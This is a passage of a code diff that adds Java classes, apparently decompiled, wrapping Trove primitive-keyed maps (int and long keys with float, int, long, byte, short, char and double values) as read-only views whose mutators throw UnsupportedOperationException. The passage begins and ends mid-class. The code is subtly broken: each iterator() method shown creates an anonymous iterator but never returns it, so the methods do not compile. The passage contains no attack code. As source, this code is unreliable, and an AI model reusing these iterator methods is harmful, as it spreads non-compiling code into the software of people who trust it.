+    
+    public int[] keys() { return m.keys(); }
+    public int[] keys(int[] array) { return m.keys(array); }
+    
+    public TFloatCollection valueCollection() {
+      if (values == null)
+        values = TCollections.unmodifiableCollection(m.valueCollection());
+      return values; }
+    
+    public float[] values() { return m.values(); }
+    public float[] values(float[] array) { return m.values(array); }
+    
+    public boolean equals(Object o) { return (o == this) || (m.equals(o)); }
+    public int hashCode() { return m.hashCode(); }
+    public String toString() { return m.toString(); }
+    public int getNoEntryKey() { return m.getNoEntryKey(); }
+    public float getNoEntryValue() { return m.getNoEntryValue(); }
+    
+    public boolean forEachKey(TIntProcedure procedure) {
+      return m.forEachKey(procedure);
+    }
+    
+    public boolean forEachValue(TFloatProcedure procedure) { return m.forEachValue(procedure); }
+    
+    public boolean forEachEntry(gnu.trove.procedure.TIntFloatProcedure procedure) {
+      return m.forEachEntry(procedure);
+    }
+    
+    public gnu.trove.iterator.TIntFloatIterator iterator() {
+      new gnu.trove.iterator.TIntFloatIterator() {
+        gnu.trove.iterator.TIntFloatIterator iter = m.iterator();
+        
+        public int key() { return iter.key(); }
+        public float value() { return iter.value(); }
+        public void advance() { iter.advance(); }
+        public boolean hasNext() { return iter.hasNext(); }
+        public float setValue(float val) { throw new UnsupportedOperationException(); }
+        public void remove() { throw new UnsupportedOperationException(); }
+      };
+    }
+    
+    public float putIfAbsent(int key, float value) { throw new UnsupportedOperationException(); }
+    public void transformValues(gnu.trove.function.TFloatFunction function) { throw new UnsupportedOperationException(); }
+    public boolean retainEntries(gnu.trove.procedure.TIntFloatProcedure procedure) { throw new UnsupportedOperationException(); }
+    public boolean increment(int key) { throw new UnsupportedOperationException(); }
+    public boolean adjustValue(int key, float amount) { throw new UnsupportedOperationException(); }
+    public float adjustOrPutValue(int key, float adjust_amount, float put_amount) { throw new UnsupportedOperationException(); }
+  }
+  
+
+  public static class TUnmodifiableIntIntMap
+    implements TIntIntMap, Serializable
+  {
+    private static final long serialVersionUID = -1034234728574286014L;
+    
+    private final TIntIntMap m;
+    
+    public TUnmodifiableIntIntMap(TIntIntMap m)
+    {
+      if (m == null)
+        throw new NullPointerException();
+      this.m = m;
+    }
+    
+    public int size() { return m.size(); }
+    public boolean isEmpty() { return m.isEmpty(); }
+    public boolean containsKey(int key) { return m.containsKey(key); }
+    public boolean containsValue(int val) { return m.containsValue(val); }
+    public int get(int key) { return m.get(key); }
+    
+    public int put(int key, int value) { throw new UnsupportedOperationException(); }
+    public int remove(int key) { throw new UnsupportedOperationException(); }
+    public void putAll(TIntIntMap m) { throw new UnsupportedOperationException(); }
+    public void putAll(Map<? extends Integer, ? extends Integer> map) { throw new UnsupportedOperationException(); }
+    public void clear() { throw new UnsupportedOperationException(); }
+    
+    private transient gnu.trove.set.TIntSet keySet = null;
+    private transient TIntCollection values = null;
+    
+    public gnu.trove.set.TIntSet keySet() {
+      if (keySet == null)
+        keySet = TCollections.unmodifiableSet(m.keySet());
+      return keySet; }
+    
+    public int[] keys() { return m.keys(); }
+    public int[] keys(int[] array) { return m.keys(array); }
+    
+    public TIntCollection valueCollection() {
+      if (values == null)
+        values = TCollections.unmodifiableCollection(m.valueCollection());
+      return values; }
+    
+    public int[] values() { return m.values(); }
+    public int[] values(int[] array) { return m.values(array); }
+    
+    public boolean equals(Object o) { return (o == this) || (m.equals(o)); }
+    public int hashCode() { return m.hashCode(); }
+    public String toString() { return m.toString(); }
+    public int getNoEntryKey() { return m.getNoEntryKey(); }
+    public int getNoEntryValue() { return m.getNoEntryValue(); }
+    
+    public boolean forEachKey(TIntProcedure procedure) {
+      return m.forEachKey(procedure);
+    }
+    
+    public boolean forEachValue(TIntProcedure procedure) { return m.forEachValue(procedure); }
+    
+    public boolean forEachEntry(gnu.trove.procedure.TIntIntProcedure procedure) {
+      return m.forEachEntry(procedure);
+    }
+    
+    public gnu.trove.iterator.TIntIntIterator iterator() {
+      new gnu.trove.iterator.TIntIntIterator() {
+        gnu.trove.iterator.TIntIntIterator iter = m.iterator();
+        
+        public int key() { return iter.key(); }
+        public int value() { return iter.value(); }
+        public void advance() { iter.advance(); }
+        public boolean hasNext() { return iter.hasNext(); }
+        public int setValue(int val) { throw new UnsupportedOperationException(); }
+        public void remove() { throw new UnsupportedOperationException(); }
+      };
+    }
+    
+    public int putIfAbsent(int key, int value) { throw new UnsupportedOperationException(); }
+    public void transformValues(gnu.trove.function.TIntFunction function) { throw new UnsupportedOperationException(); }
+    public boolean retainEntries(gnu.trove.procedure.TIntIntProcedure procedure) { throw new UnsupportedOperationException(); }
+    public boolean increment(int key) { throw new UnsupportedOperationException(); }
+    public boolean adjustValue(int key, int amount) { throw new UnsupportedOperationException(); }
+    public int adjustOrPutValue(int key, int adjust_amount, int put_amount) { throw new UnsupportedOperationException(); }
+  }
+  
+
+  public static class TUnmodifiableIntLongMap
+    implements gnu.trove.map.TIntLongMap, Serializable
+  {
+    private static final long serialVersionUID = -1034234728574286014L;
+    
+    private final gnu.trove.map.TIntLongMap m;
+    
+    public TUnmodifiableIntLongMap(gnu.trove.map.TIntLongMap m)
+    {
+      if (m == null)
+        throw new NullPointerException();
+      this.m = m;
+    }
+    
+    public int size() { return m.size(); }
+    public boolean isEmpty() { return m.isEmpty(); }
+    public boolean containsKey(int key) { return m.containsKey(key); }
+    public boolean containsValue(long val) { return m.containsValue(val); }
+    public long get(int key) { return m.get(key); }
+    
+    public long put(int key, long value) { throw new UnsupportedOperationException(); }
+    public long remove(int key) { throw new UnsupportedOperationException(); }
+    public void putAll(gnu.trove.map.TIntLongMap m) { throw new UnsupportedOperationException(); }
+    public void putAll(Map<? extends Integer, ? extends Long> map) { throw new UnsupportedOperationException(); }
+    public void clear() { throw new UnsupportedOperationException(); }
+    
+    private transient gnu.trove.set.TIntSet keySet = null;
+    private transient TLongCollection values = null;
+    
+    public gnu.trove.set.TIntSet keySet() {
+      if (keySet == null)
+        keySet = TCollections.unmodifiableSet(m.keySet());
+      return keySet; }
+    
+    public int[] keys() { return m.keys(); }
+    public int[] keys(int[] array) { return m.keys(array); }
+    
+    public TLongCollection valueCollection() {
+      if (values == null)
+        values = TCollections.unmodifiableCollection(m.valueCollection());
+      return values; }
+    
+    public long[] values() { return m.values(); }
+    public long[] values(long[] array) { return m.values(array); }
+    
+    public boolean equals(Object o) { return (o == this) || (m.equals(o)); }
+    public int hashCode() { return m.hashCode(); }
+    public String toString() { return m.toString(); }
+    public int getNoEntryKey() { return m.getNoEntryKey(); }
+    public long getNoEntryValue() { return m.getNoEntryValue(); }
+    
+    public boolean forEachKey(TIntProcedure procedure) {
+      return m.forEachKey(procedure);
+    }
+    
+    public boolean forEachValue(TLongProcedure procedure) { return m.forEachValue(procedure); }
+    
+    public boolean forEachEntry(gnu.trove.procedure.TIntLongProcedure procedure) {
+      return m.forEachEntry(procedure);
+    }
+    
+    public gnu.trove.iterator.TIntLongIterator iterator() {
+      new gnu.trove.iterator.TIntLongIterator() {
+        gnu.trove.iterator.TIntLongIterator iter = m.iterator();
+        
+        public int key() { return iter.key(); }
+        public long value() { return iter.value(); }
+        public void advance() { iter.advance(); }
+        public boolean hasNext() { return iter.hasNext(); }
+        public long setValue(long val) { throw new UnsupportedOperationException(); }
+        public void remove() { throw new UnsupportedOperationException(); }
+      };
+    }
+    
+    public long putIfAbsent(int key, long value) { throw new UnsupportedOperationException(); }
+    public void transformValues(gnu.trove.function.TLongFunction function) { throw new UnsupportedOperationException(); }
+    public boolean retainEntries(gnu.trove.procedure.TIntLongProcedure procedure) { throw new UnsupportedOperationException(); }
+    public boolean increment(int key) { throw new UnsupportedOperationException(); }
+    public boolean adjustValue(int key, long amount) { throw new UnsupportedOperationException(); }
+    public long adjustOrPutValue(int key, long adjust_amount, long put_amount) { throw new UnsupportedOperationException(); }
+  }
+  
+
+  public static class TUnmodifiableIntByteMap
+    implements TIntByteMap, Serializable
+  {
+    private static final long serialVersionUID = -1034234728574286014L;
+    
+    private final TIntByteMap m;
+    
+    public TUnmodifiableIntByteMap(TIntByteMap m)
+    {
+      if (m == null)
+        throw new NullPointerException();
+      this.m = m;
+    }
+    
+    public int size() { return m.size(); }
+    public boolean isEmpty() { return m.isEmpty(); }
+    public boolean containsKey(int key) { return m.containsKey(key); }
+    public boolean containsValue(byte val) { return m.containsValue(val); }
+    public byte get(int key) { return m.get(key); }
+    
+    public byte put(int key, byte value) { throw new UnsupportedOperationException(); }
+    public byte remove(int key) { throw new UnsupportedOperationException(); }
+    public void putAll(TIntByteMap m) { throw new UnsupportedOperationException(); }
+    public void putAll(Map<? extends Integer, ? extends Byte> map) { throw new UnsupportedOperationException(); }
+    public void clear() { throw new UnsupportedOperationException(); }
+    
+    private transient gnu.trove.set.TIntSet keySet = null;
+    private transient TByteCollection values = null;
+    
+    public gnu.trove.set.TIntSet keySet() {
+      if (keySet == null)
+        keySet = TCollections.unmodifiableSet(m.keySet());
+      return keySet; }
+    
+    public int[] keys() { return m.keys(); }
+    public int[] keys(int[] array) { return m.keys(array); }
+    
+    public TByteCollection valueCollection() {
+      if (values == null)
+        values = TCollections.unmodifiableCollection(m.valueCollection());
+      return values; }
+    
+    public byte[] values() { return m.values(); }
+    public byte[] values(byte[] array) { return m.values(array); }
+    
+    public boolean equals(Object o) { return (o == this) || (m.equals(o)); }
+    public int hashCode() { return m.hashCode(); }
+    public String toString() { return m.toString(); }
+    public int getNoEntryKey() { return m.getNoEntryKey(); }
+    public byte getNoEntryValue() { return m.getNoEntryValue(); }
+    
+    public boolean forEachKey(TIntProcedure procedure) {
+      return m.forEachKey(procedure);
+    }
+    
+    public boolean forEachValue(TByteProcedure procedure) { return m.forEachValue(procedure); }
+    
+    public boolean forEachEntry(gnu.trove.procedure.TIntByteProcedure procedure) {
+      return m.forEachEntry(procedure);
+    }
+    
+    public gnu.trove.iterator.TIntByteIterator iterator() {
+      new gnu.trove.iterator.TIntByteIterator() {
+        gnu.trove.iterator.TIntByteIterator iter = m.iterator();
+        
+        public int key() { return iter.key(); }
+        public byte value() { return iter.value(); }
+        public void advance() { iter.advance(); }
+        public boolean hasNext() { return iter.hasNext(); }
+        public byte setValue(byte val) { throw new UnsupportedOperationException(); }
+        public void remove() { throw new UnsupportedOperationException(); }
+      };
+    }
+    
+    public byte putIfAbsent(int key, byte value) { throw new UnsupportedOperationException(); }
+    public void transformValues(gnu.trove.function.TByteFunction function) { throw new UnsupportedOperationException(); }
+    public boolean retainEntries(gnu.trove.procedure.TIntByteProcedure procedure) { throw new UnsupportedOperationException(); }
+    public boolean increment(int key) { throw new UnsupportedOperationException(); }
+    public boolean adjustValue(int key, byte amount) { throw new UnsupportedOperationException(); }
+    public byte adjustOrPutValue(int key, byte adjust_amount, byte put_amount) { throw new UnsupportedOperationException(); }
+  }
+  
+
+  public static class TUnmodifiableIntShortMap
+    implements TIntShortMap, Serializable
+  {
+    private static final long serialVersionUID = -1034234728574286014L;
+    
+    private final TIntShortMap m;
+    
+    public TUnmodifiableIntShortMap(TIntShortMap m)
+    {
+      if (m == null)
+        throw new NullPointerException();
+      this.m = m;
+    }
+    
+    public int size() { return m.size(); }
+    public boolean isEmpty() { return m.isEmpty(); }
+    public boolean containsKey(int key) { return m.containsKey(key); }
+    public boolean containsValue(short val) { return m.containsValue(val); }
+    public short get(int key) { return m.get(key); }
+    
+    public short put(int key, short value) { throw new UnsupportedOperationException(); }
+    public short remove(int key) { throw new UnsupportedOperationException(); }
+    public void putAll(TIntShortMap m) { throw new UnsupportedOperationException(); }
+    public void putAll(Map<? extends Integer, ? extends Short> map) { throw new UnsupportedOperationException(); }
+    public void clear() { throw new UnsupportedOperationException(); }
+    
+    private transient gnu.trove.set.TIntSet keySet = null;
+    private transient TShortCollection values = null;
+    
+    public gnu.trove.set.TIntSet keySet() {
+      if (keySet == null)
+        keySet = TCollections.unmodifiableSet(m.keySet());
+      return keySet; }
+    
+    public int[] keys() { return m.keys(); }
+    public int[] keys(int[] array) { return m.keys(array); }
+    
+    public TShortCollection valueCollection() {
+      if (values == null)
+        values = TCollections.unmodifiableCollection(m.valueCollection());
+      return values; }
+    
+    public short[] values() { return m.values(); }
+    public short[] values(short[] array) { return m.values(array); }
+    
+    public boolean equals(Object o) { return (o == this) || (m.equals(o)); }
+    public int hashCode() { return m.hashCode(); }
+    public String toString() { return m.toString(); }
+    public int getNoEntryKey() { return m.getNoEntryKey(); }
+    public short getNoEntryValue() { return m.getNoEntryValue(); }
+    
+    public boolean forEachKey(TIntProcedure procedure) {
+      return m.forEachKey(procedure);
+    }
+    
+    public boolean forEachValue(TShortProcedure procedure) { return m.forEachValue(procedure); }
+    
+    public boolean forEachEntry(gnu.trove.procedure.TIntShortProcedure procedure) {
+      return m.forEachEntry(procedure);
+    }
+    
+    public gnu.trove.iterator.TIntShortIterator iterator() {
+      new gnu.trove.iterator.TIntShortIterator() {
+        gnu.trove.iterator.TIntShortIterator iter = m.iterator();
+        
+        public int key() { return iter.key(); }
+        public short value() { return iter.value(); }
+        public void advance() { iter.advance(); }
+        public boolean hasNext() { return iter.hasNext(); }
+        public short setValue(short val) { throw new UnsupportedOperationException(); }
+        public void remove() { throw new UnsupportedOperationException(); }
+      };
+    }
+    
+    public short putIfAbsent(int key, short value) { throw new UnsupportedOperationException(); }
+    public void transformValues(gnu.trove.function.TShortFunction function) { throw new UnsupportedOperationException(); }
+    public boolean retainEntries(gnu.trove.procedure.TIntShortProcedure procedure) { throw new UnsupportedOperationException(); }
+    public boolean increment(int key) { throw new UnsupportedOperationException(); }
+    public boolean adjustValue(int key, short amount) { throw new UnsupportedOperationException(); }
+    public short adjustOrPutValue(int key, short adjust_amount, short put_amount) { throw new UnsupportedOperationException(); }
+  }
+  
+
+  public static class TUnmodifiableIntCharMap
+    implements gnu.trove.map.TIntCharMap, Serializable
+  {
+    private static final long serialVersionUID = -1034234728574286014L;
+    
+    private final gnu.trove.map.TIntCharMap m;
+    
+    public TUnmodifiableIntCharMap(gnu.trove.map.TIntCharMap m)
+    {
+      if (m == null)
+        throw new NullPointerException();
+      this.m = m;
+    }
+    
+    public int size() { return m.size(); }
+    public boolean isEmpty() { return m.isEmpty(); }
+    public boolean containsKey(int key) { return m.containsKey(key); }
+    public boolean containsValue(char val) { return m.containsValue(val); }
+    public char get(int key) { return m.get(key); }
+    
+    public char put(int key, char value) { throw new UnsupportedOperationException(); }
+    public char remove(int key) { throw new UnsupportedOperationException(); }
+    public void putAll(gnu.trove.map.TIntCharMap m) { throw new UnsupportedOperationException(); }
+    public void putAll(Map<? extends Integer, ? extends Character> map) { throw new UnsupportedOperationException(); }
+    public void clear() { throw new UnsupportedOperationException(); }
+    
+    private transient gnu.trove.set.TIntSet keySet = null;
+    private transient TCharCollection values = null;
+    
+    public gnu.trove.set.TIntSet keySet() {
+      if (keySet == null)
+        keySet = TCollections.unmodifiableSet(m.keySet());
+      return keySet; }
+    
+    public int[] keys() { return m.keys(); }
+    public int[] keys(int[] array) { return m.keys(array); }
+    
+    public TCharCollection valueCollection() {
+      if (values == null)
+        values = TCollections.unmodifiableCollection(m.valueCollection());
+      return values; }
+    
+    public char[] values() { return m.values(); }
+    public char[] values(char[] array) { return m.values(array); }
+    
+    public boolean equals(Object o) { return (o == this) || (m.equals(o)); }
+    public int hashCode() { return m.hashCode(); }
+    public String toString() { return m.toString(); }
+    public int getNoEntryKey() { return m.getNoEntryKey(); }
+    public char getNoEntryValue() { return m.getNoEntryValue(); }
+    
+    public boolean forEachKey(TIntProcedure procedure) {
+      return m.forEachKey(procedure);
+    }
+    
+    public boolean forEachValue(TCharProcedure procedure) { return m.forEachValue(procedure); }
+    
+    public boolean forEachEntry(gnu.trove.procedure.TIntCharProcedure procedure) {
+      return m.forEachEntry(procedure);
+    }
+    
+    public gnu.trove.iterator.TIntCharIterator iterator() {
+      new gnu.trove.iterator.TIntCharIterator() {
+        gnu.trove.iterator.TIntCharIterator iter = m.iterator();
+        
+        public int key() { return iter.key(); }
+        public char value() { return iter.value(); }
+        public void advance() { iter.advance(); }
+        public boolean hasNext() { return iter.hasNext(); }
+        public char setValue(char val) { throw new UnsupportedOperationException(); }
+        public void remove() { throw new UnsupportedOperationException(); }
+      };
+    }
+    
+    public char putIfAbsent(int key, char value) { throw new UnsupportedOperationException(); }
+    public void transformValues(gnu.trove.function.TCharFunction function) { throw new UnsupportedOperationException(); }
+    public boolean retainEntries(gnu.trove.procedure.TIntCharProcedure procedure) { throw new UnsupportedOperationException(); }
+    public boolean increment(int key) { throw new UnsupportedOperationException(); }
+    public boolean adjustValue(int key, char amount) { throw new UnsupportedOperationException(); }
+    public char adjustOrPutValue(int key, char adjust_amount, char put_amount) { throw new UnsupportedOperationException(); }
+  }
+  
+
+  public static class TUnmodifiableLongDoubleMap
+    implements TLongDoubleMap, Serializable
+  {
+    private static final long serialVersionUID = -1034234728574286014L;
+    
+    private final TLongDoubleMap m;
+    
+    public TUnmodifiableLongDoubleMap(TLongDoubleMap m)
+    {
+      if (m == null)
+        throw new NullPointerException();
+      this.m = m;
+    }
+    
+    public int size() { return m.size(); }
+    public boolean isEmpty() { return m.isEmpty(); }
+    public boolean containsKey(long key) { return m.containsKey(key); }
+    public boolean containsValue(double val) { return m.containsValue(val); }
+    public double get(long key) { return m.get(key); }
+    
+    public double put(long key, double value) { throw new UnsupportedOperationException(); }
+    public double remove(long key) { throw new UnsupportedOperationException(); }
+    public void putAll(TLongDoubleMap m) { throw new UnsupportedOperationException(); }
+    public void putAll(Map<? extends Long, ? extends Double> map) { throw new UnsupportedOperationException(); }
+    public void clear() { throw new UnsupportedOperationException(); }
+    
+    private transient gnu.trove.set.TLongSet keySet = null;
+    private transient TDoubleCollection values = null;
+    
+    public gnu.trove.set.TLongSet keySet() {
+      if (keySet == null)
+        keySet = TCollections.unmodifiableSet(m.keySet());
+      return keySet; }
+    
+    public long[] keys() { return m.keys(); }
+    public long[] keys(long[] array) { return m.keys(array); }
+    
+    public TDoubleCollection valueCollection() {
+      if (values == null)
+        values = TCollections.unmodifiableCollection(m.valueCollection());
+      return values; }
+    
+    public double[] values() { return m.values(); }
+    public double[] values(double[] array) { return m.values(array); }
+    
+    public boolean equals(Object o) { return (o == this) || (m.equals(o)); }
+    public int hashCode() { return m.hashCode(); }
+    public String toString() { return m.toString(); }
+    public long getNoEntryKey() { return m.getNoEntryKey(); }
+    public double getNoEntryValue() { return m.getNoEntryValue(); }
+    
+    public boolean forEachKey(TLongProcedure procedure) {
+      return m.forEachKey(procedure);
+    }
+    
+    public boolean forEachValue(TDoubleProcedure procedure) { return m.forEachValue(procedure); }
+    
+    public boolean forEachEntry(gnu.trove.procedure.TLongDoubleProcedure procedure) {
+      return m.forEachEntry(procedure);
+    }
+    
+    public gnu.trove.iterator.TLongDoubleIterator iterator() {
+      new gnu.trove.iterator.TLongDoubleIterator() {
+        gnu.trove.iterator.TLongDoubleIterator iter = m.iterator();
+        
+        public long key() { return iter.key(); }
+        public double value() { return iter.value(); }
+        public void advance() { iter.advance(); }
+        public boolean hasNext() { return iter.hasNext(); }
+        public double setValue(double val) { throw new UnsupportedOperationException(); }
+        public void remove() { throw new UnsupportedOperationException(); }
+      };
+    }
+    
+    public double putIfAbsent(long key, double value) { throw new UnsupportedOperationException(); }
+    public void transformValues(gnu.trove.function.TDoubleFunction function) { throw new UnsupportedOperationException(); }
+    public boolean retainEntries(gnu.trove.procedure.TLongDoubleProcedure procedure) { throw new UnsupportedOperationException(); }
+    public boolean increment(long key) { throw new UnsupportedOperationException(); }
+    public boolean adjustValue(long key, double amount) { throw new UnsupportedOperationException(); }
+    public double adjustOrPutValue(long key, double adjust_amount, double put_amount) { throw new UnsupportedOperationException(); }
+  }
+  
+
+  public static class TUnmodifiableLongFloatMap
+    implements gnu.trove.map.TLongFloatMap, Serializable
+  {
+    private static final long serialVersionUID = -1034234728574286014L;
+    
+    private final gnu.trove.map.TLongFloatMap m;
+    
+    public TUnmodifiableLongFloatMap(gnu.trove.map.TLongFloatMap m)
+    {
+      if (m == null)
+        throw new NullPointerException();
+      this.m = m;
+    }
+    
+    public int size() { return m.size(); }
+    public boolean isEmpty() { return m.isEmpty(); }
+    public boolean containsKey(long key) { return m.containsKey(key); }
+    public boolean containsValue(float val) { return m.containsValue(val); }
+    public float get(long key) { return m.get(key); }
+    
+    public float put(long key, float value) { throw new UnsupportedOperationException(); }
+    public float remove(long key) { throw new UnsupportedOperationException(); }
+    public void putAll(gnu.trove.map.TLongFloatMap m) { throw new UnsupportedOperationException(); }
+    public void putAll(Map<? extends Long, ? extends Float> map) { throw new UnsupportedOperationException(); }
+    public void clear() { throw new UnsupportedOperationException(); }
+    
+    private transient gnu.trove.set.TLongSet keySet = null;
+    private transient TFloatCollection values = null;
+    
+    public gnu.trove.set.TLongSet keySet() {
+      if (keySet == null)
+        keySet = TCollections.unmodifiableSet(m.keySet());
+      return keySet; }
+    
+    public long[] keys() { return m.keys(); }
+    public long[] keys(long[] array) { return m.keys(array); }
+    
+    public TFloatCollection valueCollection() {
+      if (values == null)
+        values = TCollections.unmodifiableCollection(m.valueCollection());
+      return values; }
+    
+    public float[] values() { return m.values(); }
+    public float[] values(float[] array) { return m.values(array); }
+    
+    public boolean equals(Object o) { return (o == this) || (m.equals(o)); }
+    public int hashCode() { return m.hashCode(); }
+    public String toString() { return m.toString(); }
+    public long getNoEntryKey() { return m.getNoEntryKey(); }
+    public float getNoEntryValue() { return m.getNoEntryValue(); }
+    
+    public boolean forEachKey(TLongProcedure procedure) {
+      return m.forEachKey(procedure);
+    }
+    
+    public boolean forEachValue(TFloatProcedure procedure) { return m.forEachValue(procedure); }
+    
+    public boolean forEachEntry(gnu.trove.procedure.TLongFloatProcedure procedure) {
+      return m.forEachEntry(procedure);
+    }
+    
+    public gnu.trove.iterator.TLongFloatIterator iterator() {
+      new gnu.trove.iterator.TLongFloatIterator() {
+        gnu.trove.iterator.TLongFloatIterator iter = m.iterator();
+        
+        public long key() { return iter.key(); }
+        public float value() { return iter.value(); }
+        public void advance() { iter.advance(); }
+        public boolean hasNext() { return iter.hasNext(); }
+        public float setValue(float val) { throw new UnsupportedOperationException(); }
+        public void remove() { throw new UnsupportedOperationException(); }
+      };
+    }
+    
+    public float putIfAbsent(long key, float value) { throw new UnsupportedOperationException(); }
+    public void transformValues(gnu.trove.function.TFloatFunction function) { throw new UnsupportedOperationException(); }
+    public boolean retainEntries(gnu.trove.procedure.TLongFloatProcedure procedure) { throw new UnsupportedOperationException(); }
+    public boolean increment(long key) { throw new UnsupportedOperationException(); }
+    public boolean adjustValue(long key, float amount) { throw new UnsupportedOperationException(); }
+    public float adjustOrPutValue(long key, float adjust_amount, float put_amount) { throw new UnsupportedOperationException(); }
+  }
+  
+
+  public static class TUnmodifiableLongIntMap
+    implements gnu.trove.map.TLongIntMap, Serializable
+  {
+    private static final long serialVersionUID = -1034234728574286014L;
+    
+    private final gnu.trove.map.TLongIntMap m;
+    
+    public TUnmodifiableLongIntMap(gnu.trove.map.TLongIntMap m)
+    {
+      if (m == null)
+        throw new NullPointerException();
+      this.m = m;
+    }
+    
+    public int size() { return m.size(); }
+    public boolean isEmpty() { return m.isEmpty(); }
+    public boolean containsKey(long key) { return m.containsKey(key); }
+    public boolean containsValue(int val) { return m.containsValue(val); }
+    public int get(long key) { return m.get(key); }
+    
+    public int put(long key, int value) { throw new UnsupportedOperationException(); }
+    public int remove(long key) { throw new UnsupportedOperationException(); }
+    public void putAll(gnu.trove.map.TLongIntMap m) { throw new UnsupportedOperationException(); }
+    public void putAll(Map<? extends Long, ? extends Integer> map) { throw new UnsupportedOperationException(); }
+    public void clear() { throw new UnsupportedOperationException(); }
+    
+    private transient gnu.trove.set.TLongSet keySet = null;
+    private transient TIntCollection values = null;
+    
+    public gnu.trove.set.TLongSet keySet() {
+      if (keySet == null)
+        keySet = TCollections.unmodifiableSet(m.keySet());
+      return keySet; }
+    
+    public long[] keys() { return m.keys(); }
+    public long[] keys(long[] array) { return m.keys(array); }
+    
+    public TIntCollection valueCollection() {
+      if (values == null)
+        values = TCollections.unmodifiableCollection(m.valueCollection());
+      return values; }
+    
+    public int[] values() { return m.values(); }
+    public int[] values(int[] array) { return m.values(array); }
+    
+    public boolean equals(Object o) { return (o == this) || (m.equals(o)); }
+    public int hashCode() { return m.hashCode(); }
+    public String toString() { return m.toString(); }
+    public long getNoEntryKey() { return m.getNoEntryKey(); }
+    public int getNoEntryValue() { return m.getNoEntryValue(); }
+    
+    public boolean forEachKey(TLongProcedure procedure) {
+      return m.forEachKey(procedure);
+    }
+    
+    public boolean forEachValue(TIntProcedure procedure) { return m.forEachValue(procedure); }
+    
+    public boolean forEachEntry(gnu.trove.procedure.TLongIntProcedure procedure) {
+      return m.forEachEntry(procedure);
+    }
+    
+    public gnu.trove.iterator.TLongIntIterator iterator() {
+      new gnu.trove.iterator.TLongIntIterator() {
+        gnu.trove.iterator.TLongIntIterator iter = m.iterator();
+        
+        public long key() { return iter.key(); }
+        public int value() { return iter.value(); }
+        public void advance() { iter.advance(); }
+        public boolean hasNext() { return iter.hasNext(); }
+        public int setValue(int val) { throw new UnsupportedOperationException(); }
+        public void remove() { throw new UnsupportedOperationException(); }
+      };
+    }
+    
+    public int putIfAbsent(long key, int value) { throw new UnsupportedOperationException(); }
+    public void transformValues(gnu.trove.function.TIntFunction function) { throw new UnsupportedOperationException(); }
+    public boolean retainEntries(gnu.trove.procedure.TLongIntProcedure procedure) { throw new UnsupportedOperationException(); }
+    public boolean increment(long key) { throw new UnsupportedOperationException(); }
+    public boolean adjustValue(long key, int amount) { throw new UnsupportedOperationException(); }
+    public int adjustOrPutValue(long key, int adjust_amount, int put_amount) { throw new UnsupportedOperationException(); }
+  }
+  
+
+  public static class TUnmodifiableLongLongMap
+    implements TLongLongMap, Serializable
+  {
+    private static final long serialVersionUID = -1034234728574286014L;
+    
+    private final TLongLongMap m;
+    
+    public TUnmodifiableLongLongMap(TLongLongMap m)
+    {
+      if (m == null)
+        throw new NullPointerException();
+      this.m = m;
+    }
+    
+    public int size() { return m.size(); }
+    public boolean isEmpty() { return m.isEmpty(); }
+    public boolean containsKey(long key) { return m.containsKey(key); }
+    public boolean containsValue(long val) { return m.containsValue(val); }
+    public long get(long key) { return m.get(key); }
+    
+    public long put(long key, long value) { throw new UnsupportedOperationException(); }
+    public long remove(long key) { throw new UnsupportedOperationException(); }
+    public void putAll(TLongLongMap m) { throw new UnsupportedOperationException(); }
+    public void putAll(Map<? extends Long, ? extends Long> map) { throw new UnsupportedOperationException(); }
+    public void clear() { throw new UnsupportedOperationException(); }
+    
+    private transient gnu.trove.set.TLongSet keySet = null;
+    private transient TLongCollection values = null;
+    
+    public gnu.trove.set.TLongSet keySet() {
+      if (keySet == null)
+        keySet = TCollections.unmodifiableSet(m.keySet());
+      return keySet; }
+    
+    public long[] keys() { return m.keys(); }
+    public long[] keys(long[] array) { return m.keys(array); }
+    
+    public TLongCollection valueCollection() {
+      if (values == null)
+        values = TCollections.unmodifiableCollection(m.valueCollection());
+      return values; }
+    
+    public long[] values() { return m.values(); }
+    public long[] values(long[] array) { return m.values(array); }
+    
+    public boolean equals(Object o) { return (o == this) || (m.equals(o)); }
+    public int hashCode() { return m.hashCode(); }
+    public String toString() { return m.toString(); }
+    public long getNoEntryKey() { return m.getNoEntryKey(); }
+    public long getNoEntryValue() { return m.getNoEntryValue(); }
+    
+    public boolean forEachKey(TLongProcedure procedure) {
+      return m.forEachKey(procedure);
+    }
+    
+    public boolean forEachValue(TLongProcedure procedure) { return m.forEachValue(procedure); }
+    
+    public boolean forEachEntry(gnu.trove.procedure.TLongLongProcedure procedure) {
+      return m.forEachEntry(procedure);
+    }
+    
+    public gnu.trove.iterator.TLongLongIterator iterator() {
+      new gnu.trove.iterator.TLongLongIterator() {
+        gnu.trove.iterator.TLongLongIterator iter = m.iterator();
+        
+        public long key() { return iter.key(); }
+        public long value() { return iter.value(); }
+        public void advance() { iter.advance(); }
+        public boolean hasNext() { return iter.hasNext(); }
+        public long setValue(long val) { throw new UnsupportedOperationException(); }
+        public void remove() { throw new UnsupportedOperationException(); }
+      };
+    }
+    
+    public long putIfAbsent(long key, long value) { throw new UnsupportedOperationException(); }
+    public void transformValues(gnu.trove.function.TLongFunction function) { throw new UnsupportedOperationException(); }
+    public boolean retainEntries(gnu.trove.procedure.TLongLongProcedure procedure) { throw new UnsupportedOperationException(); }
+    public boolean increment(long key) { throw new UnsupportedOperationException(); }
+    public boolean adjustValue(long key, long amount) { throw new UnsupportedOperationException(); }
+    public long adjustOrPutValue(long key, long adjust_amount, long put_amount) { throw new UnsupportedOperationException(); }
+  }
+  
+
+  public static class TUnmodifiableLongByteMap
+    implements gnu.trove.map.TLongByteMap, Serializable
+  {
+    private static final long serialVersionUID = -1034234728574286014L;
+    
+    private final gnu.trove.map.TLongByteMap m;
+    
+    public TUnmodifiableLongByteMap(gnu.trove.map.TLongByteMap m)
+    {
+      if (m == null)
+        throw new NullPointerException();
+      this.m = m;
+    }
+    
+    public int size() { return m.size(); }
+    public boolean isEmpty() { return m.isEmpty(); }
+    public boolean containsKey(long key) { return m.containsKey(key); }
+    public boolean containsValue(byte val) { return m.containsValue(val); }
+    public byte get(long key) { return m.get(key); }
+    
+    public byte put(long key, byte value) { throw new UnsupportedOperationException(); }
+    public byte remove(long key) { throw new UnsupportedOperationException(); }
+    public void putAll(gnu.trove.map.TLongByteMap m) { throw new UnsupportedOperationException(); }
+    public void putAll(Map<? extends Long, ? extends Byte> map) { throw new UnsupportedOperationException(); }
+    public void clear() { throw new UnsupportedOperationException(); }
+    
+    private transient gnu.trove.set.TLongSet keySet = null;
+    private transient TByteCollection values = null;
+    
+    public gnu.trove.set.TLongSet keySet() {
+      if (keySet == null)
